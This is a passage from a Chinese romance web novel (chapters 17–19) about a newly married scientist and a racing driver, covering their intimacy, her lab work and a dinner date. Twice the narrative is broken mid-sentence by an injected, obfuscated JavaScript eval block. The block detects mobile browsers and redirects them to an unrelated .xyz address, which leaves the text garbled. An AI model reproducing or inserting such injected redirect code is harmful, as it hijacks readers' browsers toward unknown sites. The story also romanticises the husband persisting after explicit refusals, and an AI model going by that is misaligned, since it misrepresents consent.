宋星燃用一条宽大的浴巾裹住她,动作轻柔地擦干她头发上的水珠,又细心地拭去她背上残留的花瓣。 温木昏昏欲睡,任他摆布,直到被轻轻放在床上。 床单是干的,带着薄荷的味道。 还有,他的味道。 宋星燃躺到她身边,手臂自然地环住她的腰,将她拉近。温木的背贴着他的胸膛,能感受到他平稳的呼吸和心跳。 “睡吧。”他在她耳边低语,声音是温柔的。 温木想说什么,但睡意如潮水般涌来。 在陷入梦乡前的最后一刻,她感觉到一个轻如羽毛的吻落在她的后颈,像是某种无声的承诺。 窗外,宁川的灯火渐次亮起,像散落的星子坠入凡间。 * 温木是被湿热的触感弄醒的。 有什么柔软的东西轻轻扫过她的眼皮,带着薄荷牙膏的清凉。她皱了皱眉,下意识想躲开,却被一只有力的手臂圈住腰身,动弹不得。 “别闹。”她含糊地抗议,声音因为睡意而软糯,与平日里的冷静截然不同。 宋星燃低笑一声,呼吸喷在她脸颊上:“醒了?” 温木勉强睁开眼,视线依然模糊。 她的眼镜昨晚被某人弄坏了,但足够看清宋星燃近在咫尺的脸。 他撑在她上方,黑发凌乱地支棱着,眼睛里闪烁着恶作剧得逞般的光芒,嘴角挂着那抹标志性的坏笑。 这男人怎么还有力气闹? 别的赛车手体力怎么样她不知道,但宋星燃的她算是“身体力行”了。 是她老了,还是身体太差? 昨晚到最后她几乎失去记忆,而他现在居然精神抖擞得像充了一夜电。 “现在几点了?”她问,声音还带着睡意。 “七点半。” “爸妈习惯八点吃早餐。” 温木点点头,随即意识到两人现在的状态。 她身上只套着他的T恤,而他也只穿了条短裤。 男人又凑上来,虽然不清楚他的意图,但温木还是伸手挡住了他。 她觉得有必要就昨晚发生的事情做出一点解释。 其实也算不上解释,就是,给小少爷受伤的心一点安慰,好让他安分一些。 “昨晚是正常的夫妻生活,所以我没有拒绝,也不会生气。” “你别有心理负担。” 宋星燃的动作顿住了。 他微微眯起眼,盯着她看了几秒,翻身坐起。 “我为什么要有负担?”他的声音突然冷了几分,背对着她,肩膀线条绷紧。“反正我们是夫妻。” “就是辛苦温老师了。” “这么体贴我。” 温木淡然道:“没关系。” 片刻后,又补一句:“不客气。” 男人轻笑一声: “既然不介意的话,” “我们再来一次?” 17. For the stars 温木果断拒绝。 宋星燃倒是没说什么,就这样沉着眸子看她。 温木有些不解。 她的话有什么问题吗? 她只是想表明自己不会因为昨晚的事而尴尬或后悔。 但宋星燃的反应像是……被冒犯了? 她撑起身子,拽了拽过大的T恤下摆:“我没有别的意思。” 男人转头看她,眼神复杂。 “那是什么意思?” 温木想解释,一阵轻柔的敲门声打断了她的话。 “阿燃?小木?你们醒了吗?”沈岁温和的声音从门外传来。 宋星燃“啧”了一声,随手从衣柜里抓了一件T恤套上,又扯过被子将温木严严实实地裹住,这才走去开门。 他高大的身躯挡在门口,完美遮住了房内的景象。 沈岁的目光在他的脖子上停留了一秒。那里有几道明显的红痕,是温木昨晚情急之下抓的。嘴角微微上扬,又很快恢复如常。 “小木还睡着吧?那我给她留早饭。”沈岁体贴地说。 “不用,她醒了。”宋星燃简短地回答。 “那好。”沈岁意味深长地看了儿子一眼,转身下楼。 宋星燃关上门,转过身,温木已经坐了起来,被子裹在胸前,正盯着某处发呆。 他顺着她的视线看去,是床边的垃圾桶——里面堆满了用过的纸巾。 温木抬头:“你昨天,没戴吗?” 她在质问他,目光锋利。 宋星燃皱眉:“我没戴怎样?” 他故意曲解她的意思,语气恶劣。 温木的表情霎时严肃。 “宋星燃。”她的声音冷了几分。 “你答应过我的。” 男人沉默片刻,大步走到床边,俯身撑在她两侧:“我戴了。” “你被我亲迷糊了,没注意。” “再说,戴没戴你感觉不出来吗?” 温木哑然。 仔细再想,她确实记得那个瞬间的感受——他停下动作,水面一阵细微的波动。 也许是因为有水液吧,她似乎没感觉到有阻隔。 她误会他了。 “抱歉。”她道歉。 “我刚才语气不太好。” 宋星燃哼了一声,转身走向衣柜,在里面翻找一阵,扔给她一条运动裤和一件连帽外套。 温木猝不及防,衣服直接罩在了头上。 她把衣服扒拉下来:“外套也要穿吗?” “你有内衣?”宋星燃反问,目光意有所指地扫过她胸前。 温木这才意识到自己的衣服全都湿了,现在除了他的T恤外,里面确实空空如也。 一股热流涌上脸颊,她低头快速套上运动裤。 宋星燃看着她手忙脚乱的样子,也不上前帮忙。 “穿完下来吃早饭。” 说完直接走了出去,门关得震天响。 温木艰难地穿着衣服,每动一下都牵动酸痛的肌肉,疼得她倒吸一口气。 她必须跟宋星燃约法三章。 不然照这样下去,她每天得爬着去实验室了。 二十分钟后,温木才磨磨蹭蹭地下楼。 宋星燃的外套穿在她身上大了两号,袖口盖过指尖,衣摆垂到大腿中部。她不断往下扯着衣角,庆幸客厅里只有沈岁和宋星燃。 “妈。”她轻声打招呼,然后迅速躲进卫生间。 站在洗手台前,温木犯了难。没有牙刷,没有毛巾,甚至连洗面奶都没有。 正当她犹豫时,卫生间的门被推开。 “你用黑色的那个。”宋星燃的声音在身后响起,“新的。” 温木回头,男人靠在门框上看她。 她“嗯”了一声,找到黑色漱口杯和未拆封的牙刷,开始洗漱。 宋星燃没有离开的意思,就那样歪着头盯着她,表情莫测。温木被他盯得发毛,只好加快速度。洗完脸要出去时,却发现他还堵在门口。 “让我出去。” 男人盯着她看了几秒,才侧身让出位置,但空间狭小,温木经过时几乎贴着他的胸膛。 早餐摆了满满一桌,但温木的注意力直直落在她面前的几道菜上:枸杞红枣粥、当归炖乌鸡、还有一碗黑乎乎的汤药。 她默默看向宋星燃,后者面不改色地喝着自己的咖啡:“别看我,不是给我补的。” 沈岁在桌下狠狠踢了儿子一脚,笑着对温木说:“小木啊,这些都是补气血的,你多喝点。” 温木无奈,只好低头喝粥。 说实话,她现在确实很需要——昨晚消耗的体力恐怕得补上一个星期。 吃完饭,宋星燃起身:“今天有训练。” 转身离开,连个眼神都没给温木。 陈严适时出现,递来一个纸袋:“少夫人,这是新衣服。” 温木道谢后打开袋子,里面是一整套衣物,米色衬衫、藏青色半身裙,甚至——连内衣都有。 她“啪”地合上袋子,耳根发烫。 宋星燃怎么连她内衣的尺码都知道? 难不成……是用手量的? 温木又开始怀疑他到底是不是“白纸”。 但想起昨晚他一开始的生涩表现,那种笨拙的急切,又默默打消了这个念头。 所以这叫什么? 天赋异禀吗? 回到房间换衣服时,温木在袋子底部发现一个小盒子。打开一看,是一副金丝边眼镜,镜腿垂着细细的银链,精致又不失学术气息。 她戴上眼镜,世界重新变得清晰。 温木收拾好必需品,目光不由自主地飘向那扇侧门,忍不住往里看了一眼,目光所及之处都是一片狼籍。 衣服被随意扔在地上,玫瑰花瓣散落各处,还有一个小盒子躺在角落,已经空了。 她看了一会儿才认出来那是什么,立刻别过脸,暗叹自己“宝刀未老”。 温木下楼告别,沈岁拉着她的手叮嘱:“有空常回来啊,妈给你做好吃的 她点头应下,走出宋家大门时,忽然想起一件事。 昨晚,宋星燃把她压在落地窗上,又来了一次。 所以…… 谁来告诉她这玻璃透不透啊! * 温木推开实验室玻璃门,双腿微微发颤。她不动声色地扶住门框,试图让自己看起来像往常一样冷静自持。 “阿木!”于茉像只欢快的小鸟扑过来,险些把站不稳的温木撞倒。 温木扶住实验台才稳住身形,眼睛闪过一丝慌乱。 “你喷香水了?”于茉突然凑近她颈侧,像警犬一样嗅来嗅去,“还是玫瑰味的?” 温木下意识摸了摸鼻子,镜链在脸颊边轻轻晃动:“他的,估计不小心沾到了。” 反正宋星燃听不见,推给他好了。 于茉眯起眼睛,露出促狭的笑容:“啧啧,好甜蜜。” “先工作吧。”温木转身走向自己的工位。 她需要通过工作来忽视身上那股玫瑰的香气。 午休时分,于茉蹭到温木身边,神秘兮兮的:“下周日晚上有空吗?” 温木划开手机备忘录,扫了一眼行程安排,点头:“暂时没有安排。” “太好了!”于茉拍手,“我表妹结婚,办婚前party,一起去玩!” 温木皱眉:“你知道我一向不怎么去这种场合。” “哎呀,”于茉拽着她的袖子摇晃,“都是咱们熟人,再不济你也打过照面的。” 温木理了理发尾:“茉茉,说实话。” 于茉举手投降:“就是吧,我爸妈也会去。他们看你结婚了,我表妹也结婚了,就更加催我。可是我还不想结婚呢!” 温木挑眉:“所以你就想拉我去当挡箭牌,应付叔叔阿姨?” 于茉讪笑:“小木头你怎么什么都知道。” 她凑近温木耳边,“你只要跟我爸妈描述一下婚后生活怎么怎么不如意,表示结婚这事急不得,其他什么都不用做。” 温木双手抱胸:“拿什么报答我?” 于茉眼睛一亮:“大狗狗要不要?” 温木的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223331|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海里骤然浮现出昨晚的画面。 宋星燃在她身上又啃又咬,她用软绵绵的胳膊推他,让他别咬。那个混蛋却凑上来舔她耳朵,让她更加受不了。 “不许咬。” “我就要。” 她一边躲一边问他:“你是小狗吗?” 男人勾唇一笑,露出尖尖的虎牙:“你觉得我小吗?” 温木无言以对。 宋星燃咬住她的耳垂,感受到怀里人的颤栗,满意地勾唇一笑。 “我是你的狗。” 温木猛地摇头,像是要甩掉那些令人脸红的记忆。 “不要,我不要。” 于茉疑惑:“怎么会?你不是最喜欢狗狗了吗?我跟你说,这只是巧克力的崽。” “你表妹家那只哈士奇?” “对!一共五个崽崽,我抢了两只,特地给你留一只最可爱的。”于茉比划着小狗的大小。 温木面露难色。 她确实一直想养狗,但现在家里多了个宋星燃。 “我得问问他。”她最终妥协。 于茉夸张地叹气:“哎,我就说吧,结婚真麻烦。养个狗还得问别人意见。” 她拍拍温木的肩,“行吧,那你商量好了告诉我。” “派对我还是会去的。”温木补充道。 于茉立刻抱住她,在脸上响亮地亲了一口:“就知道阿木最好了!” “一边去一边去,”温木推她,“实验室里拉拉扯扯成何体统。” “我不干。”于茉耍赖,“怎么,就许那个宋少爷亲你,不许我亲你?” 温木去推于茉脸的手突然停住:“传这么快?” 一旁的吴桐猛点头:“保安大爷说姐夫长得''跟电视里走出来的大明星似的'',他活这么大岁数没见过这么俊的小伙子。” 孟孟也弱弱补充:“我感觉我们院里都知道了,这几天一直在讨论呢。” 温木无奈摇头。 造孽啊。 * 八点,温木回到星河湾。 推开门时,一大块白色的巧克力映入眼帘。 宋星燃裸着上身,水珠顺着腹肌的沟壑滑入腰间的浴巾,黑发湿漉漉地贴在额前。 虽然她已经全方面立体式地观察过了,但“光天化夜”看到如此香艳的一幕还是有些不适应。 温木迅速带上门,假装没注意到自己加速的心跳。 ”怎么这么晚?”宋星燃语气不悦。 “今天任务多,下班晚了,就请他们一起吃了饭。”温木放下包,又问他:“你吃了吗?” 宋星燃把毛巾扔到沙发上,然后直接坐下:“饿不死。” 他打开电视,正好是新闻频道。 屏幕里的宋应濯西装笔挺,正在播报晚间新闻。 温木疑惑:“应濯哥不是主持晨间新闻的吗?” 宋星燃瞥了她一眼:“你倒是很了解。” “一点点。”温木轻声辩解。 就算了解一点又怎么了,她以前还“欣赏”过人家呢。 两个人,一个站着,一个坐着,都不说话,看着电视里面的新闻,各怀心思。 “不许喊他应濯哥。”宋星燃突然冷声道。 “喊大哥。” 温木抿嘴:“那样,不是很显老吗?” 宋星燃挑眉,仰靠在沙发上,手臂舒展搭在靠背:“他本来就老。” 温木等着他的下一句“和你一样”,但宋星燃只是沉默地盯着电视,下颌线条紧绷。 她只好转身上楼洗澡。 半小时后,温木下楼。 宋星燃还在沙发上。他身体前倾,双臂撑在膝盖上,背部肌肉在灯光下呈现出完美的倒三角。 湿发已经半干,凌乱地支棱着,看起来像只慵懒的大型动物。 温木走过去:“你有空吗?” “有话就说。”宋星燃头也不抬。 “我想和你谈谈。” “什么事?” 温木深吸一口气,镜片后的眼睛直视他。 “睡觉的事。” 18. For the stars 宋星燃缓缓转过头,嘴角勾起一抹痞笑,黑曜石般的眼睛里闪烁着危险的光芒:“行啊。” 男人站起身,走到温木身边,高大的身躯在灯光下投下一片阴影,将她笼罩其中。水珠从他发梢滴落,砸在温木的眼镜片上,模糊了她的视线。 温木摘下眼镜,用睡衣下摆擦了擦。衣领随着动作微微敞开,露出锁骨上未消的吻痕。 宋星燃的目光立刻锁定在那处,喉结滚动。 “首先,”温木重新戴上眼镜,声音冷静得像在宣读实验报告,“频率需要控制。” “我下周有三个重要的项目,不能像昨晚那样。” “哪样?”宋星燃突然逼近一步,“温老师说得具体点。” 温木:“次数太多。” “几次算多?” “一周,”温木思索片刻,“两次?” “两次?”宋星燃挑眉,像是听到了什么荒谬的笑话。 “温老师,我们是夫妻。” “不是周末情人。” “那就三次。”温木让步。 宋星燃摇头,伸出五根手指:“五次。” “三次。” “四次。”宋星燃又逼近一步,温木已经退无可退,只能用手撑住身后的沙发靠背。 “三次,不能再多了。”温木坚持,毫不退让。 宋星燃俯身,双臂将她困在方寸之间:“好啊。” “一天三次,我同意” 温木:“你疯了。” “我是为你好,帮你锻炼身体。”男人的眼睛里闪着促狭的光,“你体力太差了,昨晚我都没弄一会儿,你就哼哼唧唧地说不行。” “闭嘴。” 温木伸手去捂他的嘴,却被他轻易捉住手腕。 “那就一周三天,一天三次。”宋星燃在她掌心轻啄一下,“如果效果不佳,还要加练。” 温木想抽回手,却被他握得更紧:“你这是霸王条款。” “那温老师想怎样?”宋星燃用膝盖顶开她的双腿。 “讨价还价要有诚意。” “你霸王硬上弓把我娶回家,我怎么都得讨点儿回来才公平吧。” 温木没话说了。 虽然这话有夸大的成分,但他们的婚姻,确实是始于她的一厢情愿——对新大楼的一厢情愿。 但这也不能用她的身体健康来换啊。 温木深吸一口气,伸手拽住男人的浴巾边缘。 “你再逼我,就让你光着出去。” 男人愣了一下,随即大笑出声,胸腔震动贴着温木的胸口:“温老师学坏了。” “是被我带坏的吗?” 他凑近她耳边,热气喷在敏感的皮肤上。 “不过,你确定要松手?” 温木这才意识到浴巾下可能空无一物,手指僵住。 宋星燃趁机扣住她的后脑,在唇上轻啄一口。 “成交?” 温木咬牙:“成交。” 宋星燃满意地退开,大剌剌地坐到沙发上,浴巾危险地松垮着。 “现在轮到我了。” “什么?” “约法三章。”宋星燃竖起三根手指。 “第一条,健康作息。晚上11点前睡觉,早上7点起床。” 温木皱眉:“这不可能。” 她经常会有临时的任务,他不是都知道吗? “第二,”宋星燃充耳不闻,继续道,“外出报备。不能像今天这样,晚了也不说一声。” “我有临时实验怎……” “第三,”男人站起身,居高临下地看着她。 “喊我老公。” 温木差点被自己的口水呛到。 “什么?” 宋星燃俯身,鼻尖蹭过她的脸颊。 “昨晚你喊得很好听。” “再喊一次好不好?” 温木偏头躲开:“前两条可以商量,第三条免谈。” 那本来就是不得已而为之,怎么能变成习惯! 不可以,绝对不可以。 她的计划已经因为这个不受控制的男人加速了很多。 接下来,一定不可以再给他甜头。 宋星燃眯起眼:“那第一条改成12点前睡觉,第二条允许你迟到半小时报备。” “但第三条,没得商量。” “宋星燃。”温木推了推眼镜,试图用学术般的冷静分析。 “这种称呼在非必要场合……” “现在就是必要场合。” 宋星燃将她打横抱起,大步走向楼梯。 “我们需要巩固一下协议。” 温木瞪他:“放我下来。” “叫老公就放。” 宋星燃抱得更紧,故意颠了一下,温木下意识搂住他的脖子。 “你!” “我数到三。” 宋星燃踏上第一级台阶。 “一。” 温木咬唇。 “二。” 又上一级。 “三。” “老,公。” 温木从牙缝里挤出这个称呼。 宋星燃停下脚步,低头看她:“没听清。” “老公!”温木几乎是吼出来的。 宋星燃嘴角上扬,露出胜利的笑容:“真乖。” 他却没有放下她,反而继续上楼。 “既然都叫了,不如提前执行一下协议?” ??? 温木已经有些生气:“你什么意思。” “温老师,”宋星燃踢开卧室门,将她轻轻放在床上,随即覆身上来,“你是第一天认识我吗?” 他的唇贴上她的颈侧,声音含糊:“而且,你刚才威胁要扯我浴巾的事,我们还没算账呢。” 温木想反驳,却被他以吻封缄。 卧室里只开了一盏小夜灯,她刚从迷乱的吻中脱身,想翻身下床,脚踝就被一只灼热的大手扣住。 “去哪?”宋星燃的声音沙哑得不像话。 “喝水。” 温木试图抽回脚,却被他顺势一拽,整个人滑向他怀中。 宋星燃低笑,鼻尖蹭过她的锁骨:“撒谎。” “温老师不要带坏小朋友。” 温木用手抵住他的胸膛:“今晚不行,绝对不行。” 男人的唇已经贴上她的颈侧,虎牙轻轻刮过皮肤 “我就亲亲你。” “不干别的。” 她信他个鬼。 温木偏头躲开,趁机从另一侧滚下床,却被宋星燃长臂一捞,拦腰抱回。 她挣扎着往床头爬,宋星燃也不急,慢条斯理地握住她的脚踝,一寸寸将她拖回身下。 “宋星燃。”温木的音量第一次大了些。 她抬脚抵住男人腹部,又像被烫到般缩回。 “你讲点道理行吗。” “我在讲啊。” 宋星燃单手扣住她两只手腕举过头顶。 “不是说好了''一周三天''?我在预习。” 温木试图通过陈述事实来唤醒他的理智。 “昨晚,不舒服。” 男人动作停住。 半晌,低低说了句:“对不起。” “昨天是我不好,”吻落在她耳后,感受到身下人轻轻一颤,“我没经验,太着急了。” 温木咬住下唇。 他这样说,她也不好再责怪。 她是姐姐,是经历过更多的那一个,也理应,心胸宽广些。 何况,在冷湖那次,也是她有意勾他。 没有什么特别的原因,不是因为爱,也不是因为情欲。 可能就是,单纯地想看到他变成那副样子。 人都是视觉动物。也许就是那么一瞬间,她脑子里闪过一个想法,也就那样做了。 温木将宋星燃搂得紧了些,一下一下顺着他的头发。 “我没有怪你。” 手上的动作很柔情,但语气很冷静。 她刚想开口说“我们一起睡觉吧”,就冷不防被男人含着耳垂咬了一口。 “今晚。” “保证让温老师哭出来。” 真是一个坏孩子! 温木的呼吸已经乱了,却仍努力维持着镇定的表情。 不行,她得做点什么,来阻止今晚这场“大战”。 当宋星燃的唇即将再次落下时,她轻声开口:“我本来还想明天去看你训练的。” 男人顿住。 温木慢慢抽回手,扶住已经摇摇欲坠的眼镜,淡声道:“你不听话,我就不去了。” 宋星燃撑起身子,在昏暗光线中审视她的表情。 良久,他问:“真的?” 温木点头,发丝在枕头上摩挲出细微声响。 “你不是要去实验室吗?”他眯起眼睛,像只警犬。 温木:“数据已经处理完了。我明天可以早点下班。” “你几点训练?” 男人沉声道:“下午三点到六点。” 温木:“那等你训练完,我请你吃……” 她的话没能说完,宋星燃突然俯身扯掉她的眼镜,狠狠吻住她的唇,又凶又急。 一个常年训练,一个常年坐实验室,力气实在悬殊。 温木只能被动承受着,直到氧气耗尽才被放开。 “骗我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233893|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,我会生气。” 男人在她唇上轻咬一下作为警告,然后猛地翻身下床,走向卫生间。 温木松了口气,拉好被扯乱的睡衣。 很快,水声响起,隐约有几声压抑的闷哼。 她在黑暗中闭上眼睛,却始终无法忽视卫生间里传来的声音。水流冲击瓷砖的声响,偶尔夹杂着男人低沉的喘息,像某种隐晦的告白。 结婚真的好麻烦。 丈夫是个大馋小子更麻烦。 温木把脸埋进枕头,摸了摸被亲得发麻的嘴唇,默默堵上耳朵。 * 温木看了一眼电脑右下角的时间:16:50。 她保存好最后一个数据文件,转身对于茉说:“茉茉,今天的数据我都整理好发给你了。” 于茉看着在收拾包的人,圆框眼镜差点滑到鼻尖:“你你你要提前走?” “嗯。”温木点头。 实验室里瞬间安静得落针可闻。 孟孟手里的咖啡杯“啪”地掉在地上,褐色液体溅在她的小白鞋上。她这才如梦初醒般蹲下去收拾,脸涨得通红。 温木无奈一笑:“慢点。” 她背上包,想了想又拿出校园卡放在桌上,“今天辛苦大家了,有任务没做完的话,我明天再来。” 又指了指校园卡,“请大家喝咖啡。” 玻璃门轻轻合上,实验室里的四个脑袋迅速凑在一起。 徐樾声满脸不可置信:“啥情况,木姐提前下班了?” 吴桐掰着手指计算:“哈雷彗星76年出现一次,木姐提前下班的概率……我算不出来。” 于茉摸着下巴,杏眼闪着精光:“我猜,一定跟她那小老公有关。” 四人交换了一个眼神,异口同声:“英雄所见略同。” * 宁川国际赛车场的训练区,宋星燃心不在焉地调整着手套。他的目光第十次飘向场边入口,又第十次失望地收回。 “燃哥,有心事?”江望递过一瓶电解质水,关切地问。 宋星燃接过水,仰头灌了大半瓶:“没有。” 余洋从后面勾住他的脖子:“燃哥跟嫂子新婚,哪有心事儿,全都是幸福事儿。” 他挤眉弄眼,“是吧燃哥?” 宋星燃嗤笑一声,什么也没说,只是将空瓶精准地投进五米外的垃圾桶。 幸福事儿?哼。哪幸福了。 那个女人天天恨不得住在实验室,回家也不看他一眼,更没话跟他说。 他这婚结了个寂寞。 宋星燃瞥了一眼腕表——17:30。 人还没来。 随即自嘲地扯了扯嘴角。 他又被骗了。 他的老婆,每天都在想着怎么骗他。 “急着回家?”江望敏锐地察觉到他的焦躁。 宋星燃戴上头盔,遮住所有表情:“没有,继续。” 训练师Mark走过来,拍了拍他的肩:“今天先从动态热身开始。记住,左腿发力要均匀,别让伤腿承受太大压力。” 两个月前的比利时站,最后一圈,他领先半个车身,却在发卡弯被后方赛车顶到护栏。左腿胫骨骨裂,韧带轻微拉伤。 医生建议休养三个月,但他等不了那么久。 完成动态训练和核心稳定训练后是低强度驾驶模拟。 Mark递过毛巾:“今天只跑30圈,注意左腿反应。” 宋星燃点点头,走向模拟器。这不是普通的游戏设备,而是与真实赛车1:1复刻的专业模拟舱。 他跨进驾驶座,调整座椅位置,将受伤的左腿轻轻放在踏板上。 引擎轰鸣声通过耳机传来,眼前的环形屏幕亮起,展现出上海国际赛道的全景。 男人深吸一口气,眼神瞬间变得锐利。 起步、加速、过弯…… 他的每一个操作都精准无比。即使只是模拟训练,他也全神贯注,仿佛置身真正的赛场。 “圈速1分35秒286,”Mark的声音从耳机里传来,“比昨天快了0.8秒。不错。” “左腿感觉如何?” 宋星燃扫了一眼数据屏:“没问题。” “好,再跑5圈就结束。” 最后一圈,宋星燃故意走了个冒险的切线,在最后一个弯道将模拟速度推到极限。屏幕上的赛车几乎贴着护栏划过,惊险又精准。 男人摘下头盔,黑发已经被汗水浸透,凌乱地支棱着。接过江望递来的毛巾,随意擦了擦脸,然后脱下湿透的训练衫,露出线条分明的腹肌和人鱼线。 “燃哥!”余洋突然大喊,指着场边入口。 “嫂子来了!” 19. For the stars 一抹倩影站在基地入口处。 温木今天穿了一条深蓝色的连衣裙,裙摆刚好到大腿处,一双白皙的长腿露在外面,在暮色中格外扎眼。她没有背书包,而是背着一个小巧的菱格纹链条包,手里拎着一个纸袋,正四处张望。 基地太大了,各种设施错落分布,上次来没有仔细观察,导致这次来了还是不熟悉。 温木眯起眼睛,在远处的人群中搜寻那个熟悉的身影。 一个高大的身影朝她大步走来,逆着光。 宋星燃在她面前站定,身上还带着训练后的热气,俊脸上写满不爽。 “我还以为温老师把我忘记了呢。” 温木抬腕看表:“我没迟到。” 男人冷笑:“还差五分钟到六点,来得真早。” 温木把包带往上提了提:“路上有点事。” “能有什么事?”宋星燃挑眉,“我看是温老师半路想起来昨天夸下海口,才急匆匆赶来的吧。” 温木没说话,只是平静地看着他。 宋星燃这才注意到,她今天戴的,是他送的那副眼镜。垂链随着微风轻轻晃动,衬得女人愈发清冷矜贵。 气莫名消了一半。 温木伸出手,将纸袋递给他。 宋星燃瞄了一眼,双手插兜:“干什么,你没手拿?” “给你买的。”温木声音很轻。 男人愣住,随即嗤笑:“毒药?” 温木直接把袋子塞进他怀里:“你想让我当寡妇吗?” 宋星燃低头看去,北极星咖啡的焦糖玛奇朵,加双份焦糖,是他最爱的口味。 “你怎么知道我喜欢这个?” “妈说的。” “你买的?” “不然是别人买的吗?” 宋星燃不说话了。 北极星咖啡在城北,训练基地在城南,横跨整个宁川市区。现在正是晚高峰,她是怎么…… “哦。”最终他只挤出这么一个音节。 “你训练完了吗?”温木问。 “嗯。” “去吃饭。” 她转身要走,却被男人牵住手腕。 “等我一下,我去洗个澡。” 他走到一半又折返,把咖啡塞回温木手里,“你到那边坐会儿,没有太阳。” 温木点头,走到树荫下坐着。 不一会儿,几个年轻队员装作路过,频频偷看她。很快,好奇的目光变成了大胆的搭讪。 “嫂子好!我是余洋!” “嫂子喝不喝水?” “嫂子是做什么工作的?” 温木浅浅微笑,一一应对。 宋星燃冲完澡回来,就看到他的队友们像向日葵围着太阳一样,把温木围在中间。 “干什么呢。”男人语气不悦。 众人立刻让出一条路。 江望笑嘻嘻地解释:“跟嫂子聊天呢。” 宋星燃挤到温木身边的位置坐下,手臂自然地搭在她背后的椅背上。 “哼,我们一堆学渣,跟人家博士哪有话聊。” 余洋指着桌上的咖啡:“燃哥你看,嫂子请的!真的太客气了,我们都不好意思了。” “我看你喝得很开心啊。”宋星燃眯起眼睛,“我这杯也给你,要不要?” 余洋慌忙摇头。 温木轻轻牵住他的衣角:“好了,我们走吧。” 她转向众人,“那我们先走了,大家也早点回家。” “谢谢嫂子!嫂子慢走!” 温木起身离开,宋星燃却没动。 她明明不喜欢这样的社交场合,可是为什么,会跟他的队友聊天呢。 他暂时想不到答案,起身,目光不善地扫视一圈。 “下次离她远点,她在学校很累,没工夫陪你们玩。” 众人哄笑:“燃哥这是心疼了啊!” 男人下意识看向前方,纤细的背影已经逐渐变小。 她应该没听到吧。 基地门口,温木站在夕阳下。 几分钟后,宋星燃出来,问她:“去哪吃?” “跟着我就行了。” 温木伸手:“能让我开车吗?” 宋星燃想到她上次晕车的样子,没有多说,把钥匙递了过去。 * 十五分钟后,宋星燃坐在大排档路边的塑料凳上,死死盯着眼前认真点菜的女人。 他的法拉利被迫停在巷口。这条充满烟火气的老巷太窄,拉风的跑车显得格格不入。 “你就带我来这种地方?”宋星燃皱眉,手指在油腻的桌面上敲击。 温木头也不抬地在菜单上勾选:“我上学时常来,很好吃。” “信我一次?” 宋星燃盯着她看了三秒,最终点头。 温木点的菜很快上桌。黑椒牛肉粒、白灼虾、蒜蓉菜心,还有两瓶冰镇雪碧。全是高蛋白的运动员饮食,却又带着家常的烟火气。 “尝尝。”她将筷子递给他,自己先夹了一块牛肉。酱汁沾到唇角,下意识伸出舌尖舔掉。 那截粉色的舌尖露出来,又很快藏回去。 宋星燃扭过头,硬邦邦地说:“你能不能优雅一点。” “不能。” 温木又夹了一块,送到男人唇边。 “张嘴。” 宋星燃没动,抿着唇看她。 “你把我当小孩儿呢,还喂我吃。” 温木只好自己吃掉。 奇怪,怎么在同事那儿听来的撩小男友的方法,在宋星燃这儿,好像都没多大用处啊。 哦不对,在床上有点用。 夜色渐深,巷子里的人声依旧喧闹。温木用筷子轻轻拨弄着盘子里的牛肉,宋星燃则靠在塑料椅背上,目光懒散地扫过周围嘈杂的环境。 “你什么时候去的欧洲?”他随口找了个话题。 温木抬眸看他一眼,语气平静:“硕士毕业之后,24岁去的苏黎世。” “苏黎世?”宋星燃挑眉,“我20岁去的欧洲,在瑞士待过一阵,就住那儿。” 温木夹牛肉的动作微微一顿:“一直都在吗?” “差不多吧,后来因为训练基地换了几次地方,但大部分时间都在瑞士和比利时。” 宋星燃漫不经心地喝了口雪碧:“你呢?在苏黎世待了多久?” “四年。”温木回答,“今年刚回国。” 两人对视一眼,空气里莫名浮起一丝微妙的沉默。 宋星燃:“我在苏黎世湖畔的DolderGrand酒店住了半年。” 温木夹牛肉的动作微微一顿:“后来搬走了?” “后来在Seefeld区买了公寓,离训练场近。” “你住哪?ETH的宿舍?” “H?nggerberg校区的教师公寓。每天要坐UBS线通勤。” 男人的手指在桌面上顿了一下:“Seefeld到主校区就隔着一座Quaibrücke桥。” “是吗?” “嗯哼,骑车十五分钟。” 宋星燃盯着她,嘴角扯出一抹玩味的笑,“怎么,温老师该不会想说,我们曾经在班霍夫大街擦肩而过吧?” 温木垂眸,筷子轻轻戳了戳盘子里的牛肉,声音很轻:“也不是没可能。” 宋星燃盯着女人的侧脸,忽然觉得有些荒谬。 他们曾经在同一座城市生活了四年,甚至可能走过同一条街道,却从未相遇。 直到现在,被一场联姻硬生生绑在一起。 “所以——”他拖长了音调,语气恶劣,“温老师为什么没注意到附近有这么一个大帅哥?” “再怎么说,也该在街上打过照面吧?” 温木抬眸,目光平静地扫过他的脸,又低头继续吃饭。 “没有。” “没有?” 宋星燃眯起眼。 “我的脸还不够引人注意?” 温木慢条斯理地咽下嘴里的食物,才淡淡开口:“对我来说,可能一般。” 男人的表情瞬间凝固。 他盯着她看了两秒,冷笑一声:“眼光真差。” 温木没接话,只是低头喝了口雪碧。 宋星燃盯着她,忽然倾身向前,手肘撑在桌上,声音压低:“那你说说,你能看上什么样的?” 温木握着杯子的手指微微收紧。 她总不能说,她的理想型其实是宋应濯那样的吧。 熨贴的西装,金丝眼镜,永远从容不迫的谈吐,那是她学生时代就欣赏的类型。 理性、沉稳、有学识。 只可惜,宋星燃跟这些词八竿子打不着关系。 